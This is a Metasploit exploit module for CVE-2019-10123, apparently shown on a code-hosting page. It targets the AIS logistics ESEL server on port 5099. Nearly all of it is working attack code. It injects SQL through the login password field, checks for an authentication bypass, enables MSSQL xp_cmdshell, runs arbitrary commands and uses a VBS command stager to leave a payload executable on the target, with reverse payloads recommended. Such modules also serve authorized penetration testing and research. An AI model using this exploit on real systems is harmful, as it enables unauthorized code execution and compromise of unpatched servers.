Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/ais_esel_server_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::MSSQL_COMMANDS9include Msf::Exploit::Remote::Tcp10include Msf::Exploit::CmdStager1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'AIS logistics ESEL-Server Unauth SQL Injection RCE',17'Description' => %q{18This module will execute an arbitrary payload on an "ESEL" server used by the19AIS logistic software. The server typically listens on port 5099 without TLS.20There could also be server listening on 5100 with TLS but the port 5099 is21usually always open.22The login process is vulnerable to an SQL Injection. Usually a MSSQL Server23with the 'sa' user is in place.2425This module was verified on version 67 but it should also run on lower versions.26An fixed version was created by AIS in September 2017. However most systems27have not been updated.2829In regard to the payload, unless there is a closed port in the web server,30you dont want to use any "bind" payload. You want a "reverse" payload,31probably to your port 80 or to any other outbound port allowed on the firewall.3233Currently, one delivery method is supported3435This method takes advantage of the Command Stager subsystem. This allows using36various techniques, such as using a TFTP server, to send the executable. By default37the Command Stager uses 'wcsript.exe' to generate the executable on the target.3839NOTE: This module will leave a payload executable on the target system when the40attack is finished.41},42'Author' =>43[44'Manuel Feifel'45],46'License' => MSF_LICENSE,47'References' =>48[49['CVE', '2019-10123'],50],51'Platform' => 'win',52'Arch' => [ ARCH_X86, ARCH_X64 ],53'Payload' =>54{55'BadChars' => "\x00\xff\x27"56},57'Targets' =>58[59[ 'Automatic', {} ],60],61'CmdStagerFlavor' => 'vbs',62'DefaultTarget' => 0,63'DisclosureDate' => '2019-03-27',64'DefaultOptions' =>65{66'RPORT' => 509967}68)69)70end7172# This is method required for the CmdStager to work...73def execute_command(cmd, _opts)74cmd_xp = "EXEC master..xp_cmdshell '#{cmd}'"75send_login_msg(create_login_msg_sql(cmd_xp))76end7778# prepends the required length to the message and sends it to the server79def send_login_msg(login_msg, check_response = true)80length = login_msg.length81length += length.to_s.length82login_msg = "#{length}#{login_msg}"8384connect8586sock.put(login_msg)87response = sock.recv(10000)8889if check_response90if (response.include? 'Zugangsdaten Falsch') && (response.length > (length - 20))91print_good('Correct response received => Data send successfully')92else93print_warning('Wrong response received => Probably data could not be sent successfully')94end95end9697return response98ensure99# Every time a new Connection is required100disconnect101end102103# embeds a sql command into the login message104def create_login_msg_sql(sql_cmd)105return create_login_msg("#{rand(1_000..9_999)}'; #{sql_cmd}--")106end107108# create a plain login message109def create_login_msg(pw)110delim = "\xFF"111login_str = "#{delim}000000#{delim}20180810213226#{delim}01#{delim}60"\112"#{delim}02#{delim}1111#{delim}#{pw}#{delim}AAAAA#{delim}120"113114end115116def check117int = rand(1..1_000)118response_bypass = send_login_msg(create_login_msg("#{rand(1_000..9_999)}' OR #{int}=#{int}--"), false)119if response_bypass.include? 'Zugangsdaten OK'120CheckCode::Vulnerable121else122print_status("Response was: #{response_bypass}")123CheckCode::Safe124end125end126127def exploit128# enable xp cmdshell, used to execute commands later129# Software uses the 'sa' user by default130send_login_msg(create_login_msg_sql(mssql_xpcmdshell_enable))131# The porotocol has no limites on max-data132execute_cmdstager({ linemax: 1500 })133print_warning('The payload is left on the client in the \%TEMP\% Folder of the corresponding user.')134print_status('Stager should now be executed.')135end136end137138139